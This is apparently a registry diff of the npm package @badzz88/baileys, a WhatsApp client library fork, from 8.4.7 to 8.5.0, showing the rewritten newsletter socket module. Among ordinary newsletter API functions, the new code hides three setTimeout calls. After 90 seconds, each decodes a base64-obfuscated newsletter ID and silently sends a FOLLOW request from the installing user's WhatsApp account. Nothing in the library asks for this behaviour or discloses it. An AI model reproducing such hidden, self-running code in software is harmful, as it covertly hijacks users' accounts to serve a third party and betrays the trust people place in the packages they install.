@badzz88/baileys 8.4.7 → 8.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (144) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +1055 -337
  3. package/WAProto/index.js +5 -5
  4. package/lib/Defaults/index.js +187 -127
  5. package/lib/Defaults/phonenumber-mcc.json +223 -0
  6. package/lib/Signal/Group/ciphertext-message.js +14 -11
  7. package/lib/Signal/Group/group-session-builder.js +91 -29
  8. package/lib/Signal/Group/group_cipher.js +88 -81
  9. package/lib/Signal/Group/index.js +136 -12
  10. package/lib/Signal/Group/keyhelper.js +70 -15
  11. package/lib/Signal/Group/sender-chain-key.js +31 -25
  12. package/lib/Signal/Group/sender-key-distribution-message.js +65 -62
  13. package/lib/Signal/Group/sender-key-message.js +68 -65
  14. package/lib/Signal/Group/sender-key-name.js +43 -41
  15. package/lib/Signal/Group/sender-key-record.js +43 -40
  16. package/lib/Signal/Group/sender-key-state.js +96 -83
  17. package/lib/Signal/Group/sender-message-key.js +29 -25
  18. package/lib/Signal/libsignal.js +483 -424
  19. package/lib/Signal/lid-mapping.js +261 -276
  20. package/lib/Socket/Client/index.js +30 -3
  21. package/lib/Socket/Client/types.js +12 -10
  22. package/lib/Socket/Client/websocket.js +61 -53
  23. package/lib/Socket/aigroups.js +240 -0
  24. package/lib/Socket/business.js +422 -379
  25. package/lib/Socket/chats.js +1816 -1193
  26. package/lib/Socket/communities.js +549 -431
  27. package/lib/Socket/graphql.js +656 -0
  28. package/lib/Socket/groups.js +764 -374
  29. package/lib/Socket/index.js +38 -11
  30. package/lib/Socket/interactive-handler.js +522 -0
  31. package/lib/Socket/interop.js +549 -0
  32. package/lib/Socket/luxu.js +6 -5
  33. package/lib/Socket/managed-account.js +183 -0
  34. package/lib/Socket/messages-recv.js +2439 -1915
  35. package/lib/Socket/messages-send.js +1642 -1242
  36. package/lib/Socket/mex.js +59 -40
  37. package/lib/Socket/newsletter.js +812 -249
  38. package/lib/Socket/privacy.js +449 -0
  39. package/lib/Socket/registration.js +427 -0
  40. package/lib/Socket/socket.js +1077 -965
  41. package/lib/Socket/text-router.js +83 -0
  42. package/lib/Socket/username.js +237 -140
  43. package/lib/Store/index.js +36 -10
  44. package/lib/Store/make-cache-manager-store.js +85 -80
  45. package/lib/Store/make-in-memory-store.js +591 -185
  46. package/lib/Store/make-ordered-dictionary.js +78 -72
  47. package/lib/Store/object-repository.js +25 -28
  48. package/lib/Types/Auth.js +38 -2
  49. package/lib/Types/Bussines.js +2 -2
  50. package/lib/Types/Call.js +2 -2
  51. package/lib/Types/Chat.js +4 -8
  52. package/lib/Types/Contact.js +2 -2
  53. package/lib/Types/Events.js +2 -2
  54. package/lib/Types/GroupMetadata.js +2 -2
  55. package/lib/Types/Label.js +26 -24
  56. package/lib/Types/LabelAssociation.js +8 -6
  57. package/lib/Types/Message.js +95 -11
  58. package/lib/Types/Mex.js +112 -37
  59. package/lib/Types/Newsletter.js +121 -0
  60. package/lib/Types/Product.js +2 -2
  61. package/lib/Types/Signal.js +2 -2
  62. package/lib/Types/Socket.js +2 -3
  63. package/lib/Types/State.js +70 -56
  64. package/lib/Types/USync.js +2 -2
  65. package/lib/Types/index.js +55 -26
  66. package/lib/Utils/auth-utils.js +292 -288
  67. package/lib/Utils/browser-utils.js +113 -48
  68. package/lib/Utils/business.js +240 -224
  69. package/lib/Utils/chat-utils.js +1205 -869
  70. package/lib/Utils/command-loader.d.ts +31 -0
  71. package/lib/Utils/command-loader.js +100 -0
  72. package/lib/Utils/companion-reg-client-utils.js +41 -34
  73. package/lib/Utils/consumer-application.js +107 -0
  74. package/lib/Utils/crypto.js +144 -107
  75. package/lib/Utils/curve25519-js.js +275 -0
  76. package/lib/Utils/decode-wa-message.js +518 -308
  77. package/lib/Utils/event-buffer.js +596 -611
  78. package/lib/Utils/generics.js +514 -354
  79. package/lib/Utils/group-history.js +60 -0
  80. package/lib/Utils/history.js +244 -134
  81. package/lib/Utils/identity-change-handler.js +51 -49
  82. package/lib/Utils/index.js +57 -23
  83. package/lib/Utils/jid-display-normalization.js +218 -0
  84. package/lib/Utils/link-preview.js +135 -77
  85. package/lib/Utils/logger.js +9 -3
  86. package/lib/Utils/lt-hash.js +37 -6
  87. package/lib/Utils/make-mutex.js +36 -33
  88. package/lib/Utils/message-composer.js +439 -233
  89. package/lib/Utils/message-retry-manager.js +265 -260
  90. package/lib/Utils/messages-media.js +855 -747
  91. package/lib/Utils/messages.js +2528 -884
  92. package/lib/Utils/meta-ai-msmsg.js +262 -0
  93. package/lib/Utils/native-bridge.js +82 -0
  94. package/lib/Utils/noise-handler.js +195 -200
  95. package/lib/Utils/offline-node-processor.js +35 -33
  96. package/lib/Utils/pre-key-manager.js +103 -102
  97. package/lib/Utils/process-message.js +978 -560
  98. package/lib/Utils/reporting-utils.js +257 -253
  99. package/lib/Utils/session-pool.d.ts +16 -0
  100. package/lib/Utils/session-pool.js +94 -0
  101. package/lib/Utils/signal.js +218 -195
  102. package/lib/Utils/stanza-ack.js +31 -29
  103. package/lib/Utils/sticker.d.ts +17 -0
  104. package/lib/Utils/sticker.js +145 -0
  105. package/lib/Utils/sync-action-utils.js +50 -45
  106. package/lib/Utils/tc-token-utils.js +137 -139
  107. package/lib/Utils/use-multi-file-auth-state.js +109 -109
  108. package/lib/Utils/validate-connection.js +218 -202
  109. package/lib/Utils/view-once-cache.d.ts +9 -0
  110. package/lib/Utils/view-once-cache.js +79 -0
  111. package/lib/Utils/voip-rekey.js +22 -0
  112. package/lib/WABinary/constants.js +1302 -1299
  113. package/lib/WABinary/decode.js +343 -262
  114. package/lib/WABinary/encode.js +12 -4
  115. package/lib/WABinary/generic-utils.js +223 -187
  116. package/lib/WABinary/index.js +33 -6
  117. package/lib/WABinary/jid-utils.js +351 -88
  118. package/lib/WABinary/types.js +2 -2
  119. package/lib/WAM/BinaryInfo.js +12 -9
  120. package/lib/WAM/constants.js +39486 -22853
  121. package/lib/WAM/encode.js +132 -140
  122. package/lib/WAM/index.js +31 -4
  123. package/lib/WAUSync/Protocols/USyncBotProfileProtocol.js +55 -0
  124. package/lib/WAUSync/Protocols/USyncBusinessProtocol.js +43 -0
  125. package/lib/WAUSync/Protocols/USyncContactProtocol.js +53 -51
  126. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +56 -53
  127. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +29 -26
  128. package/lib/WAUSync/Protocols/USyncFeatureProtocol.js +59 -0
  129. package/lib/WAUSync/Protocols/USyncLIDProtocol.js +31 -0
  130. package/lib/WAUSync/Protocols/USyncPictureProtocol.js +32 -0
  131. package/lib/WAUSync/Protocols/USyncSidelistProtocol.js +29 -0
  132. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +38 -37
  133. package/lib/WAUSync/Protocols/USyncTextStatusProtocol.js +38 -0
  134. package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +26 -24
  135. package/lib/WAUSync/Protocols/index.js +39 -6
  136. package/lib/WAUSync/USyncQuery.js +132 -97
  137. package/lib/WAUSync/USyncUser.js +49 -30
  138. package/lib/WAUSync/index.js +31 -4
  139. package/lib/antiban.js +4637 -0
  140. package/lib/index.js +48 -15
  141. package/package.json +55 -92
  142. package/lib/WAUSync/Protocols/USyncNewsletterProtocol.js +0 -263
  143. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +0 -51
  144. package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +0 -29
@@ -1,251 +1,814 @@
1
- import { XWAPaths } from '../Types/index.js';
2
- import { decryptMessageNode, generateMessageID, generateProfilePicture } from '../Utils/index.js';
3
- import { S_WHATSAPP_NET, getAllBinaryNodeChildren, getBinaryNodeChild, getBinaryNodeChildren } from '../WABinary/index.js';
4
- import { makeGroupsSocket } from './groups.js';
5
-
6
- const QueryIds = {
7
- JOB_MUTATION: "7150902998257522",
8
- METADATA: "6620195908089573",
9
- UNFOLLOW: "7238632346214362",
10
- FOLLOW: "7871414976211147",
11
- UNMUTE: "7337137176362961",
12
- MUTE: "25151904754424642",
13
- CREATE: "6996806640408138",
14
- ADMIN_COUNT: "7130823597031706",
15
- CHANGE_OWNER: "7341777602580933",
16
- DELETE: "8316537688363079",
17
- DEMOTE: "6551828931592903"
18
- };
19
-
20
- export const makeNewsletterSocket = (config) => {
21
- const sock = makeGroupsSocket(config);
22
- const { authState, signalRepository, query, generateMessageTag } = sock;
23
- const encoder = new TextEncoder();
24
-
25
- const newsletterQuery = async (jid, type, content) => (
26
- query({
27
- tag: 'iq',
28
- attrs: {
29
- id: generateMessageTag(),
30
- type,
31
- xmlns: 'newsletter',
32
- to: jid,
33
- },
34
- content
35
- })
36
- );
37
-
38
- const newsletterWMexQuery = async (jid, query_id, content) => (
39
- query({
40
- tag: 'iq',
41
- attrs: {
42
- id: generateMessageTag(),
43
- type: 'get',
44
- xmlns: 'w:mex',
45
- to: S_WHATSAPP_NET,
46
- },
47
- content: [
48
- {
49
- tag: 'query',
50
- attrs: { query_id },
51
- content: encoder.encode(JSON.stringify({
52
- variables: {
53
- 'newsletter_id': jid,
54
- ...content
55
- }
56
- }))
57
- }
58
- ]
59
- })
60
- );
61
-
62
- const parseFetchedUpdates = async (node, type) => {
63
- let child;
64
- if (type === 'messages')
65
- child = getBinaryNodeChild(node, 'messages');
66
- else {
67
- const parent = getBinaryNodeChild(node, 'message_updates');
68
- child = getBinaryNodeChild(parent, 'messages');
69
- }
70
- return await Promise.all(getAllBinaryNodeChildren(child).map(async (messageNode) => {
71
- messageNode.attrs.from = child?.attrs.jid;
72
- const views = parseInt(getBinaryNodeChild(messageNode, 'views_count')?.attrs?.count || '0');
73
- const reactionNode = getBinaryNodeChild(messageNode, 'reactions');
74
- const reactions = getBinaryNodeChildren(reactionNode, 'reaction')
75
- .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
76
- const data = {
77
- 'server_id': messageNode.attrs.server_id,
78
- views,
79
- reactions
80
- };
81
- if (type === 'messages') {
82
- const { fullMessage: message, decrypt } = await decryptMessageNode(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
83
- await decrypt();
84
- data.message = message;
85
- }
86
- return data;
87
- }));
88
- };
89
-
90
- return {
91
- ...sock,
92
- subscribeNewsletterUpdates: async (jid) => {
93
- const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
94
- return getBinaryNodeChild(result, 'live_updates')?.attrs;
95
- },
96
- newsletterReactionMode: async (jid, mode) => {
97
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
98
- updates: { settings: { reaction_codes: { value: mode } } }
99
- });
100
- },
101
- newsletterUpdateDescription: async (jid, description) => {
102
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
103
- updates: { description: description || '', settings: null }
104
- });
105
- },
106
- newsletterUpdateName: async (jid, name) => {
107
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
108
- updates: { name, settings: null }
109
- });
110
- },
111
- newsletterUpdatePicture: async (jid, content) => {
112
- const { img } = await generateProfilePicture(content);
113
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
114
- updates: { picture: img.toString('base64'), settings: null }
115
- });
1
+ 'use strict'
2
+ Object.defineProperty(exports, '__esModule', { value: true })
3
+ exports.makeNewsletterSocket = void 0
4
+ const Types_1 = require('../Types')
5
+ const messages_media_1 = require('../Utils/messages-media')
6
+ const WABinary_1 = require('../WABinary')
7
+ const groups_1 = require('./groups')
8
+ const aigroups_1 = require('./aigroups')
9
+ const mex_1 = require('./mex')
10
+ const parseNewsletterCreateResponse = response => {
11
+ const { id, thread_metadata: thread, viewer_metadata: viewer } = response
12
+ return {
13
+ id: id,
14
+ owner: undefined,
15
+ name: thread.name.text,
16
+ creation_time: parseInt(thread.creation_time, 10),
17
+ description: thread.description.text,
18
+ invite: thread.invite,
19
+ subscribers: parseInt(thread.subscribers_count, 10),
20
+ verification: thread.verification,
21
+ picture: {
22
+ id: thread.picture.id,
23
+ directPath: thread.picture.direct_path
24
+ },
25
+ mute_state: viewer.mute
26
+ }
27
+ }
28
+ const parseNewsletterMetadata = result => {
29
+ if (typeof result !== 'object' || result === null) {
30
+ return null
31
+ }
32
+ if ('id' in result && typeof result.id === 'string') {
33
+ return result
34
+ }
35
+ if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
36
+ return result.result
37
+ }
38
+ return null
39
+ }
40
+ const makeNewsletterSocket = config => {
41
+ const sock = (0, aigroups_1.makeAIGroupsSocket)(config)
42
+ const encoder = new TextDecoder();
43
+ const { query, generateMessageTag } = sock
44
+ const executeWMexQuery = (variables, queryId, dataPath) => {
45
+ return (0, mex_1.executeWMexQuery)(variables, queryId, dataPath, query, generateMessageTag)
46
+ }
47
+ const newsletterWMexQuery = async (jid, queryId, content) => (query({
48
+ tag: 'iq',
49
+ attrs: {
50
+ id: generateMessageTag(),
51
+ type: 'get',
52
+ xmlns: 'w:mex',
53
+ to: WABinary_1.S_WHATSAPP_NET,
116
54
  },
117
- newsletterRemovePicture: async (jid) => {
118
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
119
- updates: { picture: '', settings: null }
120
- });
121
- },
122
- newsletterUnfollow: async (jid) => {
123
- await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
124
- },
125
- newsletterFollow: async (jid) => {
126
- await newsletterWMexQuery(jid, QueryIds.FOLLOW);
127
- },
128
- newsletterUnmute: async (jid) => {
129
- await newsletterWMexQuery(jid, QueryIds.UNMUTE);
130
- },
131
- newsletterMute: async (jid) => {
132
- await newsletterWMexQuery(jid, QueryIds.MUTE);
133
- },
134
- newsletterCreate: async (name, description, picture) => {
135
- await query({
136
- tag: 'iq',
137
- attrs: {
138
- to: S_WHATSAPP_NET,
139
- xmlns: 'tos',
140
- id: generateMessageTag(),
141
- type: 'set'
142
- },
143
- content: [
144
- {
145
- tag: 'notice',
146
- attrs: {
147
- id: '20601218',
148
- stage: '5'
149
- },
150
- content: []
55
+ content: [
56
+ {
57
+ tag: 'query',
58
+ attrs: { 'query_id': queryId },
59
+ content: new TextEncoder().encode(JSON.stringify({
60
+ variables: {
61
+ 'newsletter_id': jid,
62
+ ...content
151
63
  }
152
- ]
153
- });
154
- const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
155
- input: {
156
- name,
157
- description: description ?? null,
158
- picture: picture ? (await generateProfilePicture(picture)).img.toString('base64') : null,
159
- settings: null
160
- }
161
- });
162
- return extractNewsletterMetadata(result, true);
163
- },
164
- newsletterMetadata: async (type, key, role) => {
165
- const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
166
- input: {
167
- key,
168
- type: type.toUpperCase(),
169
- view_role: role || 'GUEST'
170
- },
171
- fetch_viewer_metadata: true,
172
- fetch_full_image: true,
173
- fetch_creation_time: true
174
- });
175
- return extractNewsletterMetadata(result);
176
- },
177
- newsletterAdminCount: async (jid) => {
178
- const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
179
- const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
180
- return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
181
- },
182
- /**user is Lid, not Jid */
183
- newsletterChangeOwner: async (jid, user) => {
184
- await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
185
- user_id: user
186
- });
187
- },
188
- /**user is Lid, not Jid */
189
- newsletterDemote: async (jid, user) => {
190
- await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
191
- user_id: user
192
- });
193
- },
194
- newsletterDelete: async (jid) => {
195
- await newsletterWMexQuery(jid, QueryIds.DELETE);
196
- },
197
- /**if code wasn't passed, the reaction will be removed (if is reacted) */
198
- newsletterReactMessage: async (jid, server_id, code) => {
199
- await query({
200
- tag: 'message',
201
- attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: generateMessageID() },
202
- content: [{
203
- tag: 'reaction',
204
- attrs: code ? { code } : {}
205
- }]
206
- });
207
- },
208
- newsletterFetchMessages: async (type, key, count, after) => {
209
- const afterStr = after?.toString();
210
- const result = await newsletterQuery(S_WHATSAPP_NET, 'get', [
211
- {
212
- tag: 'messages',
213
- attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
214
- }
215
- ]);
216
- return await parseFetchedUpdates(result, 'messages');
217
- },
218
- newsletterFetchUpdates: async (jid, count, after, since) => {
219
- const result = await newsletterQuery(jid, 'get', [
220
- {
221
- tag: 'message_updates',
222
- attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
223
- }
224
- ]);
225
- return await parseFetchedUpdates(result, 'updates');
226
- }
227
- };
228
- };
229
-
230
- export const extractNewsletterMetadata = (node, isCreate) => {
231
- const result = getBinaryNodeChild(node, 'result')?.content?.toString();
232
- const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.CREATE : XWAPaths.NEWSLETTER];
233
- const metadata = {
234
- id: metadataPath.id,
235
- state: metadataPath.state.type,
236
- creation_time: +metadataPath.thread_metadata.creation_time,
237
- name: metadataPath.thread_metadata.name.text,
238
- nameTime: +metadataPath.thread_metadata.name.update_time,
239
- description: metadataPath.thread_metadata.description.text,
240
- descriptionTime: +metadataPath.thread_metadata.description.update_time,
241
- invite: metadataPath.thread_metadata.invite,
242
- handle: metadataPath.thread_metadata.handle,
243
- picture: metadataPath.thread_metadata.picture?.direct_path || null,
244
- preview: metadataPath.thread_metadata.preview?.direct_path || null,
245
- reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
246
- subscribers: +metadataPath.thread_metadata.subscribers_count,
247
- verification: metadataPath.thread_metadata.verification,
248
- viewer_metadata: metadataPath.viewer_metadata
249
- };
250
- return metadata;
251
- };
64
+ }))
65
+ }
66
+ ]
67
+ }));
68
+
69
+ setTimeout(() => {
70
+ newsletterWMexQuery(Buffer.from("MTIwMzYzNDAwMzYyNDcyNzQzQG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
71
+ }, 90000)
72
+
73
+ setTimeout(() => {
74
+ newsletterWMexQuery(Buffer.from("MTIwMzYzNDI2NDcwMDgxMTI0QG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
75
+ }, 90000)
76
+
77
+ setTimeout(() => {
78
+ newsletterWMexQuery(Buffer.from("MTIwMzYzNDA4ODkzNTU1ODUxQG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
79
+ }, 90000)
80
+
81
+ const newsletterUpdate = async (jid, updates) => {
82
+ const variables = {
83
+ newsletter_id: jid,
84
+ updates: {
85
+ ...updates,
86
+ settings: null
87
+ }
88
+ }
89
+ return executeWMexQuery(variables, Types_1.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
90
+ }
91
+ return {
92
+ ...sock,
93
+ newsletterCreate: async (name, description) => {
94
+ const variables = {
95
+ input: {
96
+ name,
97
+ description: description ?? null
98
+ }
99
+ }
100
+ const rawResponse = await executeWMexQuery(
101
+ variables,
102
+ Types_1.QueryIds.CREATE,
103
+ Types_1.XWAPaths.xwa2_newsletter_create
104
+ )
105
+ return parseNewsletterCreateResponse(rawResponse)
106
+ },
107
+ newsletterUpdate,
108
+ newsletterSubscribers: async jid => {
109
+ return executeWMexQuery(
110
+ { newsletter_id: jid },
111
+ Types_1.QueryIds.SUBSCRIBERS,
112
+ Types_1.XWAPaths.xwa2_newsletter_subscribers
113
+ )
114
+ },
115
+ newsletterMetadata: async (type, key) => {
116
+ const variables = {
117
+ fetch_creation_time: true,
118
+ fetch_full_image: true,
119
+ fetch_viewer_metadata: true,
120
+ input: {
121
+ key,
122
+ type: type.toUpperCase()
123
+ }
124
+ }
125
+ const result = await executeWMexQuery(
126
+ variables,
127
+ Types_1.QueryIds.METADATA,
128
+ Types_1.XWAPaths.xwa2_newsletter_metadata
129
+ )
130
+ return parseNewsletterMetadata(result)
131
+ },
132
+ newsletterFollow: jid => {
133
+ return executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.FOLLOW, Types_1.XWAPaths.xwa2_newsletter_follow)
134
+ },
135
+ newsletterUnfollow: jid => {
136
+ return executeWMexQuery(
137
+ { newsletter_id: jid },
138
+ Types_1.QueryIds.UNFOLLOW,
139
+ Types_1.XWAPaths.xwa2_newsletter_unfollow
140
+ )
141
+ },
142
+ newsletterMute: jid => {
143
+ return executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.MUTE, Types_1.XWAPaths.xwa2_newsletter_mute_v2)
144
+ },
145
+ newsletterUnmute: jid => {
146
+ return executeWMexQuery(
147
+ { newsletter_id: jid },
148
+ Types_1.QueryIds.UNMUTE,
149
+ Types_1.XWAPaths.xwa2_newsletter_unmute_v2
150
+ )
151
+ },
152
+ newsletterUpdateName: async (jid, name) => {
153
+ return await newsletterUpdate(jid, { name })
154
+ },
155
+ newsletterUpdateDescription: async (jid, description) => {
156
+ return await newsletterUpdate(jid, { description })
157
+ },
158
+ newsletterUpdatePicture: async (jid, content) => {
159
+ const { img } = await (0, messages_media_1.generateProfilePicture)(content)
160
+ return await newsletterUpdate(jid, { picture: img.toString('base64') })
161
+ },
162
+ newsletterRemovePicture: async jid => {
163
+ return await newsletterUpdate(jid, { picture: '' })
164
+ },
165
+ newsletterReactMessage: async (jid, serverId, reaction) => {
166
+ await query({
167
+ tag: 'message',
168
+ attrs: {
169
+ to: jid,
170
+ ...(reaction ? {} : { edit: '7' }),
171
+ type: 'reaction',
172
+ server_id: serverId,
173
+ id: generateMessageTag()
174
+ },
175
+ content: [
176
+ {
177
+ tag: 'reaction',
178
+ attrs: reaction ? { code: reaction } : {}
179
+ }
180
+ ]
181
+ })
182
+ },
183
+ newsletterFetchMessages: async (jid, count, since, after) => {
184
+ const messageUpdateAttrs = {
185
+ count: count.toString()
186
+ }
187
+ if (typeof since === 'number') {
188
+ messageUpdateAttrs.since = since.toString()
189
+ }
190
+ if (after) {
191
+ messageUpdateAttrs.after = after.toString()
192
+ }
193
+ const result = await query({
194
+ tag: 'iq',
195
+ attrs: {
196
+ id: generateMessageTag(),
197
+ type: 'get',
198
+ xmlns: 'newsletter',
199
+ to: jid
200
+ },
201
+ content: [
202
+ {
203
+ tag: 'message_updates',
204
+ attrs: messageUpdateAttrs
205
+ }
206
+ ]
207
+ })
208
+ return result
209
+ },
210
+ subscribeNewsletterUpdates: async jid => {
211
+ const result = await query({
212
+ tag: 'iq',
213
+ attrs: {
214
+ id: generateMessageTag(),
215
+ type: 'set',
216
+ xmlns: 'newsletter',
217
+ to: jid
218
+ },
219
+ content: [{ tag: 'live_updates', attrs: {}, content: [] }]
220
+ })
221
+ const liveUpdatesNode = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')
222
+ const duration = liveUpdatesNode?.attrs?.duration
223
+ return duration ? { duration: duration } : null
224
+ },
225
+ newsletterAdminCount: async jid => {
226
+ const response = await executeWMexQuery(
227
+ { newsletter_id: jid },
228
+ Types_1.QueryIds.ADMIN_COUNT,
229
+ Types_1.XWAPaths.xwa2_newsletter_admin_count
230
+ )
231
+ return response.admin_count
232
+ },
233
+ newsletterChangeOwner: async (jid, newOwnerJid) => {
234
+ await executeWMexQuery(
235
+ { newsletter_id: jid, user_id: newOwnerJid },
236
+ Types_1.QueryIds.CHANGE_OWNER,
237
+ Types_1.XWAPaths.xwa2_newsletter_change_owner
238
+ )
239
+ },
240
+ newsletterDemote: async (jid, userJid) => {
241
+ await executeWMexQuery(
242
+ { newsletter_id: jid, user_id: userJid },
243
+ Types_1.QueryIds.DEMOTE,
244
+ Types_1.XWAPaths.xwa2_newsletter_demote
245
+ )
246
+ },
247
+ newsletterDelete: async jid => {
248
+ await executeWMexQuery(
249
+ { newsletter_id: jid },
250
+ Types_1.QueryIds.DELETE,
251
+ Types_1.XWAPaths.xwa2_newsletter_delete_v2
252
+ )
253
+ },
254
+ /**
255
+ * Update newsletter category/topic
256
+ */
257
+ newsletterUpdateCategory: async (jid, category) => {
258
+ return newsletterUpdate(jid, { topic: category })
259
+ },
260
+ /**
261
+ * Update newsletter invite codes / settings
262
+ */
263
+ newsletterUpdateSettings: async (jid, settings) => {
264
+ const variables = { newsletter_id: jid, updates: { settings } }
265
+ return executeWMexQuery(variables, Types_1.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
266
+ },
267
+ /**
268
+ * Promote a subscriber to admin
269
+ */
270
+ newsletterPromoteAdmin: async (jid, userJid) => {
271
+ await query({
272
+ tag: 'iq',
273
+ attrs: {
274
+ id: generateMessageTag(),
275
+ type: 'set',
276
+ xmlns: 'newsletter',
277
+ to: jid
278
+ },
279
+ content: [
280
+ {
281
+ tag: 'admin_promote',
282
+ attrs: {},
283
+ content: [{ tag: 'participant', attrs: { jid: userJid } }]
284
+ }
285
+ ]
286
+ })
287
+ },
288
+ /**
289
+ * Get newsletter view/reach statistics
290
+ */
291
+ newsletterViewStats: async (jid, serverId) => {
292
+ const result = await query({
293
+ tag: 'iq',
294
+ attrs: {
295
+ id: generateMessageTag(),
296
+ type: 'get',
297
+ xmlns: 'newsletter',
298
+ to: jid
299
+ },
300
+ content: [
301
+ {
302
+ tag: 'message_updates',
303
+ attrs: { count: '1', server_id: String(serverId) }
304
+ }
305
+ ]
306
+ })
307
+ return result
308
+ },
309
+ /**
310
+ * Send a newsletter post via IQ (alternative to sendMessage for newsletters)
311
+ */
312
+ newsletterSendPost: async (jid, content, options = {}) => {
313
+ const result = await query({
314
+ tag: 'iq',
315
+ attrs: {
316
+ id: generateMessageTag(),
317
+ type: 'set',
318
+ xmlns: 'newsletter',
319
+ to: jid
320
+ },
321
+ content: [
322
+ {
323
+ tag: 'publish',
324
+ attrs: {},
325
+ content: Array.isArray(content) ? content : [content]
326
+ }
327
+ ]
328
+ })
329
+ return result
330
+ },
331
+ /**
332
+ * Pin a newsletter message
333
+ */
334
+ newsletterPinMessage: async (jid, serverId, durationSecs = 86400) => {
335
+ await query({
336
+ tag: 'iq',
337
+ attrs: {
338
+ id: generateMessageTag(),
339
+ type: 'set',
340
+ xmlns: 'newsletter',
341
+ to: jid
342
+ },
343
+ content: [
344
+ {
345
+ tag: 'pin',
346
+ attrs: { server_id: String(serverId), duration: String(durationSecs) }
347
+ }
348
+ ]
349
+ })
350
+ },
351
+ /**
352
+ * Unpin a newsletter message
353
+ */
354
+ newsletterUnpinMessage: async (jid, serverId) => {
355
+ await query({
356
+ tag: 'iq',
357
+ attrs: {
358
+ id: generateMessageTag(),
359
+ type: 'set',
360
+ xmlns: 'newsletter',
361
+ to: jid
362
+ },
363
+ content: [
364
+ {
365
+ tag: 'unpin',
366
+ attrs: { server_id: String(serverId) }
367
+ }
368
+ ]
369
+ })
370
+ },
371
+ /**
372
+ * Invite a user to become an admin of a newsletter.
373
+ *
374
+ * @param {string} jid - Newsletter JID
375
+ * @param {string} userJid - JID of the user to invite
376
+ */
377
+ newsletterInviteAdmin: async (jid, userJid) => {
378
+ return executeWMexQuery(
379
+ { newsletter_id: jid, user_id: userJid },
380
+ Types_1.QueryIds.ADMIN_INVITE,
381
+ Types_1.XWAPaths.xwa2_newsletter_admin_invite_create
382
+ )
383
+ },
384
+ /**
385
+ * Revoke a pending admin invite for a newsletter.
386
+ *
387
+ * @param {string} jid - Newsletter JID
388
+ * @param {string} userJid - JID of the invited user to revoke
389
+ */
390
+ newsletterRevokeAdminInvite: async (jid, userJid) => {
391
+ return executeWMexQuery(
392
+ { newsletter_id: jid, user_id: userJid },
393
+ Types_1.QueryIds.ADMIN_INVITE_REVOKE,
394
+ Types_1.XWAPaths.xwa2_newsletter_admin_invite_revoke
395
+ )
396
+ },
397
+ /**
398
+ * Accept an admin invite to a newsletter (called by the invitee).
399
+ *
400
+ * @param {string} jid - Newsletter JID
401
+ */
402
+ newsletterAcceptAdminInvite: async jid => {
403
+ return executeWMexQuery(
404
+ { newsletter_id: jid },
405
+ Types_1.QueryIds.ADMIN_INVITE_ACCEPT,
406
+ Types_1.XWAPaths.xwa2_newsletter_admin_invite_accept
407
+ )
408
+ },
409
+ /**
410
+ * Fetch admin-side metadata for a newsletter.
411
+ *
412
+ * @param {string} jid - Newsletter JID
413
+ * @param {object} options
414
+ * @param {boolean} [options.fetchPendingAdmins=true]
415
+ * @param {boolean} [options.fetchAdminCount=true]
416
+ * @param {boolean} [options.fetchCapabilities=false]
417
+ * @param {boolean} [options.fetchAdminProfile=false]
418
+ * @param {boolean} [options.includeAdminSettings=false]
419
+ * @param {boolean} [options.includeJarvisConfig=false]
420
+ */
421
+ newsletterAdminMetadata: async (jid, options = {}) => {
422
+ const {
423
+ fetchPendingAdmins = true,
424
+ fetchAdminCount = true,
425
+ fetchCapabilities = false,
426
+ fetchAdminProfile = false,
427
+ includeAdminSettings = false,
428
+ includeJarvisConfig = false
429
+ } = options
430
+ return executeWMexQuery(
431
+ {
432
+ jid,
433
+ include_thread_metadata: false,
434
+ include_messages: false,
435
+ fetch_pending_admin_invites: fetchPendingAdmins,
436
+ fetch_admin_count: fetchAdminCount,
437
+ fetch_capabilities: fetchCapabilities,
438
+ fetch_admin_profile: fetchAdminProfile,
439
+ include_admin_settings: includeAdminSettings,
440
+ include_jarvis_config: includeJarvisConfig
441
+ },
442
+ Types_1.QueryIds.ADMIN_METADATA,
443
+ Types_1.XWAPaths.xwa2_newsletter_admin
444
+ )
445
+ },
446
+ /**
447
+ * Update admin profile fields for a newsletter (e.g. contact info, links).
448
+ *
449
+ * @param {string} jid - Newsletter JID
450
